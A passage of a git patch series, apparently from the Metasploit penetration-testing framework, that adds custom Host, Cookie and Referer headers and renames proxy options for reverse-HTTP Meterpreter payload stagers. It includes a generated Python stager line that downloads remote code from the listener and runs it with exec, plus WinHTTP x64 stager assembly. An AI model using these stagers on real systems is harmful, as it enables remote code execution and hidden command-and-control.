-      conf[:proxy_type]       = datastore['PayloadProxyType']
-      conf[:retry_count]      = datastore['StagerRetryCount']
-      conf[:proxy_ie]         = datastore['PayloadProxyIE']
+      conf[:proxy_host]       = ds['PayloadProxyHost']
+      conf[:proxy_port]       = ds['PayloadProxyPort']
+      conf[:proxy_user]       = ds['PayloadProxyUser']
+      conf[:proxy_pass]       = ds['PayloadProxyPass']
+      conf[:proxy_type]       = ds['PayloadProxyType']
+      conf[:retry_count]      = ds['StagerRetryCount']
+      conf[:proxy_ie]         = ds['PayloadProxyIE']
+      conf[:custom_headers]   = get_custom_headers(ds)
     else
       # Otherwise default to small URIs
       conf[:uri]              = luri + generate_small_uri
@@ -95,6 +97,9 @@ module Payload::Windows::ReverseWinHttp_x64
     # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
     space += 31
 
+    # Custom headers? Ugh, impossible to tell
+    space += 512
+
     # The final estimated size
     space
   end
@@ -115,12 +120,18 @@ module Payload::Windows::ReverseWinHttp_x64
   # Generate an assembly stub with the configured feature set and options.
   #
   # @option opts [Bool] :ssl Whether or not to enable SSL
-  # @option opts [String] :uri The URI to request during staging
+  # @option opts [String] :url The URI to request during staging
   # @option opts [String] :host The host to connect to
   # @option opts [Integer] :port The port to connect to
-  # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
   # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
+  # @option opts [String] :proxy_host The optional proxy server host to use
+  # @option opts [Integer] :proxy_port The optional proxy server port to use
+  # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
+  # @option opts [String] :proxy_user The optional proxy server username
+  # @option opts [String] :proxy_pass The optional proxy server password
+  # @option opts [String] :custom_headers The optional collection of custom headers for the payload.
   # @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
+  # @option opts [Integer] :retry_wait The seconds to wait before retry a new request
   #
   def asm_reverse_winhttp(opts={})
 
@@ -169,6 +180,8 @@ module Payload::Windows::ReverseWinHttp_x64
     proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
     proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
 
+    custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers])
+
     http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE
     secure_flags = (
       0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
@@ -431,15 +444,29 @@ module Payload::Windows::ReverseWinHttp_x64
         pop r9                        ; dwBufferLength (4 = size of flags)
         mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption
         call rbp
+
+        xor r8, r8                    ; dwHeadersLen (0)
       ^
     end
 
-    asm << %Q^
-      winhttpsendrequest:
-        mov rcx, rsi                  ; hRequest (request handle)
+    if custom_headers
+      asm << %Q^
+        call get_req_headers          ; lpszHeaders (pointer to the custom headers)
+        db #{custom_headers}
+      get_req_headers:
+        pop rdx                       ; lpszHeaders
+        dec r8                        ; dwHeadersLength (assume NULL terminated)
+      ^
+    else
+      asm << %Q^
         push rbx
         pop rdx                       ; lpszHeaders (NULL)
-        xor r8, r8                    ; dwHeadersLen (0)
+      ^
+    end
+
+
+    asm << %Q^
+        mov rcx, rsi                  ; hRequest (request handle)
         xor r9, r9                    ; lpszVersion (NULL)
         push rbx                      ; stack alignment
         push rbx                      ; dwContext (0)
diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb
index 2c0479c9af..b3f56043cd 100644
--- a/lib/rex/payloads/meterpreter/config.rb
+++ b/lib/rex/payloads/meterpreter/config.rb
@@ -108,15 +108,19 @@ private
       cert_hash = "\x00" * CERT_HASH_SIZE
       cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
 
+      custom_headers = opts[:custom_headers] || ''
+      custom_headers = to_str(custom_headers, custom_headers.length + 1)
+
       # add the HTTP specific stuff
-      transport_data << proxy_host  # Proxy host name
-      transport_data << proxy_user  # Proxy user name
-      transport_data << proxy_pass  # Proxy password
-      transport_data << ua          # HTTP user agent
-      transport_data << cert_hash   # SSL cert hash for verification
+      transport_data << proxy_host      # Proxy host name
+      transport_data << proxy_user      # Proxy user name
+      transport_data << proxy_pass      # Proxy password
+      transport_data << ua              # HTTP user agent
+      transport_data << cert_hash       # SSL cert hash for verification
+      transport_data << custom_headers  # any custom headers that the client needs
 
       # update the packing spec
-      pack << 'A*A*A*A*A*'
+      pack << 'A*A*A*A*A*A*'
     end
 
     # return the packed transport information

From 656babe9f4a0826b4398eaf7c66eac96418ec528 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Mon, 11 Sep 2017 17:20:50 +1000
Subject: [PATCH 170/254] Custom host header support in python meterp

---
 .../core/payload/python/meterpreter_loader.rb | 29 +++++++++++++++--
 lib/msf/core/payload/python/reverse_http.rb   | 31 ++++++++++++++-----
 2 files changed, 49 insertions(+), 11 deletions(-)

diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb
index 95f2335763..2403273415 100644
--- a/lib/msf/core/payload/python/meterpreter_loader.rb
+++ b/lib/msf/core/payload/python/meterpreter_loader.rb
@@ -30,7 +30,10 @@ module Payload::Python::MeterpreterLoader
 
     register_advanced_options([
       OptBool.new('MeterpreterTryToFork', [ true, 'Fork a new process if the functionality is available', true ]),
-      OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ])
+      OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ]),
+      OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
+      OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
+      OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header'])
     ], self.class)
   end
 
@@ -88,10 +91,30 @@ module Payload::Python::MeterpreterLoader
     http_user_agent = opts[:http_user_agent] || ds['MeterpreterUserAgent']
     http_proxy_host = opts[:http_proxy_host] || ds['PayloadProxyHost'] || ds['PROXYHOST']
     http_proxy_port = opts[:http_proxy_port] || ds['PayloadProxyPort'] || ds['PROXYPORT']
+    http_header_host = opts[:header_host] || ds['HttpHeaderHost']
+    http_header_cookie = opts[:header_cookie] || ds['HttpHeaderCookie']
+    http_header_referer = opts[:header_referer] || ds['HttpHeaderReferer']
 
-    # patch in the stageless http(s) connection url
-    met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:url])}'") if opts[:url].to_s != ''
+    # The callback URL can be different to the one that we're receiving from the interface
+    # so we need to generate it
+    # TODO: move this to somewhere more common so that it can be used across payload types
+    callback_url = [
+      opts[:url].split(':')[0],
+      '://',
+      (ds['OverrideRequestHost'] == true ? ds['OverrideRequestLHOST'] : ds['LHOST']).to_s,
+      ':',
+      (ds['OverrideRequestHost'] == true ? ds['OverrideRequestLPORT'] : ds['LPORT']).to_s,
+      ds['LURI'].to_s,
+      opts[:uri].to_s,
+      '/'
+    ].join('')
+
+    # patch in the various payload related configuration
+    met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'")
     met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
+    met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != ''
+    met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != ''
+    met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != ''
 
     if http_proxy_host.to_s != ''
       proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
diff --git a/lib/msf/core/payload/python/reverse_http.rb b/lib/msf/core/payload/python/reverse_http.rb
index 361ecb3c8e..8f133d034d 100644
--- a/lib/msf/core/payload/python/reverse_http.rb
+++ b/lib/msf/core/payload/python/reverse_http.rb
@@ -14,7 +14,10 @@ module Payload::Python::ReverseHttp
     register_options(
       [
         OptString.new('PayloadProxyHost', [ false, "The proxy server's IP address" ]),
-        OptPort.new('PayloadProxyPort', [ true, "The proxy port to connect to", 8080 ])
+        OptPort.new('PayloadProxyPort', [ true, "The proxy port to connect to", 8080 ]),
+        OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
+        OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
+        OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header'])
       ], self.class)
   end
 
@@ -24,11 +27,14 @@ module Payload::Python::ReverseHttp
   def generate(opts={})
     ds = opts[:datastore] || datastore
     opts.merge!({
-      host:       ds['LHOST'] || '127.127.127.127',
-      port:       ds['LPORT'],
-      proxy_host: ds['PayloadProxyHost'],
-      proxy_port: ds['PayloadProxyPort'],
-      user_agent: ds['MeterpreterUserAgent']
+      host:           ds['LHOST'] || '127.127.127.127',
+      port:           ds['LPORT'],
+      proxy_host:     ds['PayloadProxyHost'],
+      proxy_port:     ds['PayloadProxyPort'],
+      user_agent:     ds['MeterpreterUserAgent'],
+      header_host:    ds['HttpHeaderHost'],
+      header_cookie:  ds['HttpHeaderCookie'],
+      header_referer: ds['HttpHeaderReferer']
     })
     opts[:scheme] = 'http' if opts[:scheme].nil?
 
@@ -104,9 +110,18 @@ module Payload::Python::ReverseHttp
       cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n"
     end
 
+    headers = []
+    headers << "('User-Agent','#{var_escape.call(opts[:user_agent])}')"
+    headers << "('Cookie','#{var_escape.call(opts[:header_cookie])}')" if opts[:header_cookie]
+    headers << "('Referer','#{var_escape.call(opts[:header_referer])}')" if opts[:header_referer]
+
     cmd << "o=ul.build_opener(*hs)\n"
-    cmd << "o.addheaders=[('User-Agent','#{var_escape.call(opts[:user_agent])}')]\n"
-    cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n"
+    cmd << "o.addheaders=[#{headers.join(',')}]\n"
+    if opts[:header_host]
+      cmd << "exec(o.open(ul.Request('#{generate_callback_url(opts)}',None,{'Host':'#{var_escape.call(opts[:header_host])}'})).read())\n"
+    else
+      cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n"
+    end
 
     py_create_exec_stub(cmd)
   end

From f6e9b12b432da22625ed71f6d315619142d2ee79 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Mon, 11 Sep 2017 17:33:15 +1000
Subject: [PATCH 171/254] Make sure stageless is supported

---
 lib/msf/core/payload/python/meterpreter_loader.rb | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb
index 2403273415..370e28dc51 100644
--- a/lib/msf/core/payload/python/meterpreter_loader.rb
+++ b/lib/msf/core/payload/python/meterpreter_loader.rb
@@ -98,6 +98,7 @@ module Payload::Python::MeterpreterLoader
     # The callback URL can be different to the one that we're receiving from the interface
     # so we need to generate it
     # TODO: move this to somewhere more common so that it can be used across payload types
+    uri = "/#{(opts[:uri].to_s == '' ? opts[:url] : opts[:uri].to_s).split('/').reject(&:empty?)[-1]}"
     callback_url = [
       opts[:url].split(':')[0],
       '://',
@@ -105,7 +106,7 @@ module Payload::Python::MeterpreterLoader
       ':',
       (ds['OverrideRequestHost'] == true ? ds['OverrideRequestLPORT'] : ds['LPORT']).to_s,
       ds['LURI'].to_s,
-      opts[:uri].to_s,
+      uri,
       '/'
     ].join('')
 

From ac79cc9f78d17d60d6cc7e34a331fb4ec48523d5 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Wed, 13 Sep 2017 09:26:12 +1000
Subject: [PATCH 172/254] Fix up header string generation in transports

---
 lib/msf/core/payload/transport_config.rb | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb
index 1f5daf9b42..3c9972c0cf 100644
--- a/lib/msf/core/payload/transport_config.rb
+++ b/lib/msf/core/payload/transport_config.rb
@@ -83,9 +83,15 @@ private
 
   def get_custom_headers(ds)
     headers = ""
-    headers << "Host: #{ds['HttpHost']}\r\n" if ds['HttpHost']
-    headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
-    headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
+    headers << "Host: #{ds['HttpHeaderHost']}\r\n" if ds['HttpHeaderHost']
+    headers << "Cookie: #{ds['HttpHeaderCookie']}\r\n" if ds['HttpHeaderCookie']
+    headers << "Referer: #{ds['HttpHeaderReferer']}\r\n" if ds['HttpHeaderReferer']
+
+    if headers.length > 0
+      headers
+    else
+      nil
+    end
   end
 
   def timeout_config(opts={})

From a5af21fa1ab959edb00ab789ef05122b51ebba41 Mon Sep 17 00:00:00 2001
From: Tim <timrlw@gmail.com>
Date: Wed, 13 Sep 2017 13:00:21 +0800
Subject: [PATCH 173/254] add http headers to Android/Java

---
 lib/msf/core/payload/android/reverse_http.rb | 12 ++++++++++++
 lib/msf/core/payload/java/reverse_http.rb    | 11 +++++++++--
 lib/msf/core/payload_generator.rb            |  2 +-
 3 files changed, 22 insertions(+), 3 deletions(-)

diff --git a/lib/msf/core/payload/android/reverse_http.rb b/lib/msf/core/payload/android/reverse_http.rb
index 4b9e7fcf78..e75e4618a3 100644
--- a/lib/msf/core/payload/android/reverse_http.rb
+++ b/lib/msf/core/payload/android/reverse_http.rb
@@ -18,6 +18,18 @@ module Payload::Android::ReverseHttp
   include Msf::Payload::Android
   include Msf::Payload::UUID::Options
 
+  #
+  # Register reverse_http specific options
+  #
+  def initialize(*args)
+    super
+    register_advanced_options([
+        OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
+        OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
+        OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header'])
+      ], self.class)
+  end
+
   #
   # Generate the transport-specific configuration
   #
diff --git a/lib/msf/core/payload/java/reverse_http.rb b/lib/msf/core/payload/java/reverse_http.rb
index 1aff5eab2a..3e6cb675c8 100644
--- a/lib/msf/core/payload/java/reverse_http.rb
+++ b/lib/msf/core/payload/java/reverse_http.rb
@@ -24,8 +24,11 @@ module Payload::Java::ReverseHttp
   def initialize(*args)
     super
     register_advanced_options([
-      Msf::OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
-      Msf::OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
+      OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
+      OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
+      OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
+      OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
+      OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header']),
     ])
   end
 
@@ -64,6 +67,10 @@ module Payload::Java::ReverseHttp
 
     c =  ''
     c << "Spawn=#{ds["Spawn"] || 2}\n"
+    c << "HeaderUser-Agent=#{ds["MeterpreterUserAgent"]}\n" if ds["MeterpreterUserAgent"]
+    c << "HeaderHost=#{ds["HttpHeaderHost"]}\n" if ds["HttpHeaderHost"]
+    c << "HeaderReferer=#{ds["HttpHeaderReferer"]}\n" if ds["HttpHeaderReferer"]
+    c << "HeaderCookie=#{ds["HttpHeaderCookie"]}\n" if ds["HttpHeaderCookie"]
     c << "URL=#{scheme}://#{ds['LHOST']}"
     c << ":#{ds['LPORT']}" if ds['LPORT']
     c << luri
diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb
index c8a3e0629f..a54fb39482 100644
--- a/lib/msf/core/payload_generator.rb
+++ b/lib/msf/core/payload_generator.rb
@@ -298,7 +298,7 @@ module Msf
     # @return [String] Java payload as a JAR or WAR file
     def generate_java_payload
       payload_module = framework.payloads.create(payload)
-      payload_module.datastore.merge!(datastore)
+      payload_module.datastore.import_options_from_hash(datastore)
       case format
       when "raw", "jar"
         if payload_module.respond_to? :generate_jar

From 1fd7f7c8bc095306a02ea426b11a626b864f8632 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Wed, 20 Sep 2017 21:31:11 -0500
Subject: [PATCH 174/254] prefix MeterpreterUserAgent and PayloadProxy* with
 Http for consistency,

this also adds aliases where needed
---
 lib/msf/core/handler/reverse_http.rb          | 60 +++++++++++++------
 lib/msf/core/handler/reverse_https_proxy.rb   | 14 ++---
 lib/msf/core/payload/java/reverse_http.rb     |  2 +-
 lib/msf/core/payload/multi/reverse_http.rb    | 16 +++--
 .../core/payload/python/meterpreter_loader.rb |  6 +-
 lib/msf/core/payload/python/reverse_http.rb   | 10 ++--
 lib/msf/core/payload/transport_config.rb      | 12 ++--
 lib/msf/core/payload/windows/reverse_http.rb  | 28 ++++-----
 .../core/payload/windows/reverse_winhttp.rb   | 14 ++---
 .../core/payload/windows/x64/reverse_http.rb  | 28 ++++-----
 .../payload/windows/x64/reverse_winhttp.rb    | 14 ++---
 .../stagers/windows/reverse_https_proxy.rb    | 24 ++++----
 12 files changed, 124 insertions(+), 104 deletions(-)

diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb
index 5b0db244b5..025e127608 100644
--- a/lib/msf/core/handler/reverse_http.rb
+++ b/lib/msf/core/handler/reverse_http.rb
@@ -52,16 +52,38 @@ module ReverseHttp
 
     register_advanced_options(
       [
-
-        OptString.new('MeterpreterUserAgent', [false, 'The user-agent that the payload should use for communication', Rex::UserAgent.shortest]),
-        OptString.new('MeterpreterServerName', [false, 'The server header that the handler will send in response to requests', 'Apache']),
-        OptAddress.new('ReverseListenerBindAddress', [false, 'The specific IP address to bind to on the local system']),
-        OptBool.new('OverrideRequestHost', [false, 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT', false]),
-        OptString.new('OverrideLHOST', [false, 'When OverrideRequestHost is set, use this value as the host name for secondary requests']),
-        OptPort.new('OverrideLPORT', [false, 'When OverrideRequestHost is set, use this value as the port number for secondary requests']),
-        OptString.new('OverrideScheme', [false, 'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https']),
-        OptString.new('HttpUnknownRequestResponse', [false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>']),
-        OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false])
+        OptAddress.new('ReverseListenerBindAddress',
+          'The specific IP address to bind to on the local system'
+        ),
+        OptBool.new('OverrideRequestHost',
+          'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT',
+        ),
+        OptString.new('OverrideLHOST',
+          'When OverrideRequestHost is set, use this value as the host name for secondary requests'
+        ),
+        OptPort.new('OverrideLPORT',
+          'When OverrideRequestHost is set, use this value as the port number for secondary requests'
+        ),
+        OptString.new('OverrideScheme',
+          'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https'
+        ),
+        OptString.new('HttpUserAgent',
+          'The user-agent that the payload should use for communication',
+          default: Rex::UserAgent.shortest,
+          aliases: ['MeterpreterUserAgent']
+        ),
+        OptString.new('HttpServerName',
+          'The server header that the handler will send in response to requests',
+          default: 'Apache',
+          aliases: ['MeterpreterServerName']
+        ),
+        OptString.new('HttpUnknownRequestResponse',
+          'The returned HTML response body when the handler receives a request that is not from a payload',
+          default: '<html><body><h1>It works!</h1></body></html>'
+        ),
+        OptBool.new('IgnoreUnknownPayloads',
+          'Whether to drop connections from payloads using unknown UUIDs'
+        )
       ], Msf::Handler::ReverseHttp)
   end
 
@@ -204,7 +226,7 @@ module ReverseHttp
 
     raise ex if (ex)
 
-    self.service.server_name = datastore['MeterpreterServerName']
+    self.service.server_name = datastore['HttpServerName']
 
     # Add the new resource
     service.add_resource((luri + "/").gsub("//", "/"),
@@ -245,14 +267,14 @@ protected
     info = {}
     return @proxy_settings if @proxy_settings
 
-    if datastore['PayloadProxyHost'].to_s == ''
+    if datastore['HttpProxyHost'].to_s == ''
       @proxy_settings = info
       return @proxy_settings
     end
 
-    info[:host] = datastore['PayloadProxyHost'].to_s
-    info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i
-    info[:type] = datastore['PayloadProxyType'].to_s
+    info[:host] = datastore['HttpProxyHost'].to_s
+    info[:port] = (datastore['HttpProxyPort'] || 8080).to_i
+    info[:type] = datastore['HttpProxyType'].to_s
 
     uri_host = info[:host]
 
@@ -266,11 +288,11 @@ protected
       info[:info] = "socks=#{info[:info]}"
     else
       info[:info] = "http://#{info[:info]}"
-      if datastore['PayloadProxyUser'].to_s != ''
-        info[:username] = datastore['PayloadProxyUser'].to_s
+      if datastore['HttpProxyUser'].to_s != ''
+        info[:username] = datastore['HttpProxyUser'].to_s
       end
-      if datastore['PayloadProxyPass'].to_s != ''
-        info[:password] = datastore['PayloadProxyPass'].to_s
+      if datastore['HttpProxyPass'].to_s != ''
+        info[:password] = datastore['HttpProxyPass'].to_s
       end
     end
 
diff --git a/lib/msf/core/handler/reverse_https_proxy.rb b/lib/msf/core/handler/reverse_https_proxy.rb
index 997316f688..1642460ad5 100644
--- a/lib/msf/core/handler/reverse_https_proxy.rb
+++ b/lib/msf/core/handler/reverse_https_proxy.rb
@@ -38,13 +38,13 @@ module ReverseHttpsProxy
 
     register_options(
       [
-        OptAddressLocal.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
-        OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
-        OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]),
-        OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]),
-        OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]),
-        OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]),
-        OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"])
+        OptAddressLocal.new('LHOST', "The local listener hostname", default: "127.0.0.1"),
+        OptPort.new('LPORT', "The local listener port", default: 8443),
+        OptString.new('HttpProxyHost', "The proxy server's IP address", required: true, default: "127.0.0.1", aliases: ['PayloadProxyHost']),
+        OptPort.new('HttpProxyPort', "The proxy port to connect to", required: true, default: 8080, aliases: ['PayloadProxyPort']),
+        OptEnum.new('HttpProxyType', 'The proxy type, HTTP or SOCKS', enums: ['HTTP', 'SOCKS'], aliases: ['PayloadProxyType']),
+        OptString.new('HttpProxyUser', "An optional username for HTTP proxy authentication", aliases: ['PayloadProxyUser']),
+        OptString.new('HttpProxyPass', "An optional password for HTTP proxy authentication", aliases: ['PayloadProxyPass'])
       ], Msf::Handler::ReverseHttpsProxy)
 
     register_advanced_options(
diff --git a/lib/msf/core/payload/java/reverse_http.rb b/lib/msf/core/payload/java/reverse_http.rb
index 3e6cb675c8..b0c1fc0d66 100644
--- a/lib/msf/core/payload/java/reverse_http.rb
+++ b/lib/msf/core/payload/java/reverse_http.rb
@@ -67,7 +67,7 @@ module Payload::Java::ReverseHttp
 
     c =  ''
     c << "Spawn=#{ds["Spawn"] || 2}\n"
-    c << "HeaderUser-Agent=#{ds["MeterpreterUserAgent"]}\n" if ds["MeterpreterUserAgent"]
+    c << "HeaderUser-Agent=#{ds["HttpUserAgent"]}\n" if ds["HttpUserAgent"]
     c << "HeaderHost=#{ds["HttpHeaderHost"]}\n" if ds["HttpHeaderHost"]
     c << "HeaderReferer=#{ds["HttpHeaderReferer"]}\n" if ds["HttpHeaderReferer"]
     c << "HeaderCookie=#{ds["HttpHeaderCookie"]}\n" if ds["HttpHeaderCookie"]
diff --git a/lib/msf/core/payload/multi/reverse_http.rb b/lib/msf/core/payload/multi/reverse_http.rb
index 008f99f5a0..9d9f45de1c 100644
--- a/lib/msf/core/payload/multi/reverse_http.rb
+++ b/lib/msf/core/payload/multi/reverse_http.rb
@@ -23,14 +23,13 @@ module Payload::Multi::ReverseHttp
   def initialize(*args)
     super
     register_advanced_options([
-        OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
-        OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
-          aliases: ['ReverseConnectRetries']),
-        OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
-        OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
-        OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
-        OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
-        OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
+        OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)'),
+        OptInt.new('StagerRetryCount', 'The number of times the stager should retry if the first connect fails', default: 10, aliases: ['ReverseConnectRetries']),
+        OptString.new('HttpProxyHost', 'An optional proxy server IP address or hostname', aliases: ['PayloadProxyHost']),
+        OptPort.new('HttpProxyPort', 'An optional proxy server port', aliases: ['PayloadProxyPort']),
+        OptString.new('HttpProxyUser', 'An optional proxy server username', aliases: ['PayloadProxyUser']),
+        OptString.new('HttpProxyPass', 'An optional proxy server password', aliases: ['PayloadProxyPass']),
+        OptEnum.new('HttpProxyType', 'The type of HTTP proxy (HTTP or SOCKS)', enums: ['HTTP', 'SOCKS'], aliases: ['PayloadProxyType'])
       ])
   end
 
@@ -67,4 +66,3 @@ module Payload::Multi::ReverseHttp
 end
 
 end
-
diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb
index 370e28dc51..0b8c97210b 100644
--- a/lib/msf/core/payload/python/meterpreter_loader.rb
+++ b/lib/msf/core/payload/python/meterpreter_loader.rb
@@ -88,9 +88,9 @@ module Payload::Python::MeterpreterLoader
     end
     met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'")
 
-    http_user_agent = opts[:http_user_agent] || ds['MeterpreterUserAgent']
-    http_proxy_host = opts[:http_proxy_host] || ds['PayloadProxyHost'] || ds['PROXYHOST']
-    http_proxy_port = opts[:http_proxy_port] || ds['PayloadProxyPort'] || ds['PROXYPORT']
+    http_user_agent = opts[:http_user_agent] || ds['HttpUserAgent']
+    http_proxy_host = opts[:http_proxy_host] || ds['HttpProxyHost'] || ds['PROXYHOST']
+    http_proxy_port = opts[:http_proxy_port] || ds['HttpProxyPort'] || ds['PROXYPORT']
     http_header_host = opts[:header_host] || ds['HttpHeaderHost']
     http_header_cookie = opts[:header_cookie] || ds['HttpHeaderCookie']
     http_header_referer = opts[:header_referer] || ds['HttpHeaderReferer']
diff --git a/lib/msf/core/payload/python/reverse_http.rb b/lib/msf/core/payload/python/reverse_http.rb
index 8f133d034d..9dac5a71cd 100644
--- a/lib/msf/core/payload/python/reverse_http.rb
+++ b/lib/msf/core/payload/python/reverse_http.rb
@@ -13,8 +13,8 @@ module Payload::Python::ReverseHttp
     super(info)
     register_options(
       [
-        OptString.new('PayloadProxyHost', [ false, "The proxy server's IP address" ]),
-        OptPort.new('PayloadProxyPort', [ true, "The proxy port to connect to", 8080 ]),
+        OptString.new('HttpProxyHost', [ false, "The proxy server's IP address" ], aliases: ['PayloadProxyHost']),
+        OptPort.new('HttpProxyPort', [ true, "The proxy port to connect to", 8080 ], aliases: ['PayloadProxyHost']),
         OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
         OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
         OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header'])
@@ -29,9 +29,9 @@ module Payload::Python::ReverseHttp
     opts.merge!({
       host:           ds['LHOST'] || '127.127.127.127',
       port:           ds['LPORT'],
-      proxy_host:     ds['PayloadProxyHost'],
-      proxy_port:     ds['PayloadProxyPort'],
-      user_agent:     ds['MeterpreterUserAgent'],
+      proxy_host:     ds['HttpProxyHost'],
+      proxy_port:     ds['HttpProxyPort'],
+      user_agent:     ds['HttpUserAgent'],
       header_host:    ds['HttpHeaderHost'],
       header_cookie:  ds['HttpHeaderCookie'],
       header_referer: ds['HttpHeaderReferer']
diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb
index 3c9972c0cf..284347e1cb 100644
--- a/lib/msf/core/payload/transport_config.rb
+++ b/lib/msf/core/payload/transport_config.rb
@@ -60,12 +60,12 @@ module Msf::Payload::TransportConfig
       lhost:           opts[:lhost] || ds['LHOST'],
       lport:           (opts[:lport] || ds['LPORT']).to_i,
       uri:             uri,
-      ua:              ds['MeterpreterUserAgent'],
-      proxy_host:      ds['PayloadProxyHost'],
-      proxy_port:      ds['PayloadProxyPort'],
-      proxy_type:      ds['PayloadProxyType'],
-      proxy_user:      ds['PayloadProxyUser'],
-      proxy_pass:      ds['PayloadProxyPass'],
+      ua:              ds['HttpUserAgent'],
+      proxy_host:      ds['HttpProxyHost'],
+      proxy_port:      ds['HttpProxyPort'],
+      proxy_type:      ds['HttpProxyType'],
+      proxy_user:      ds['HttpProxyUser'],
+      proxy_pass:      ds['HttpProxyPass'],
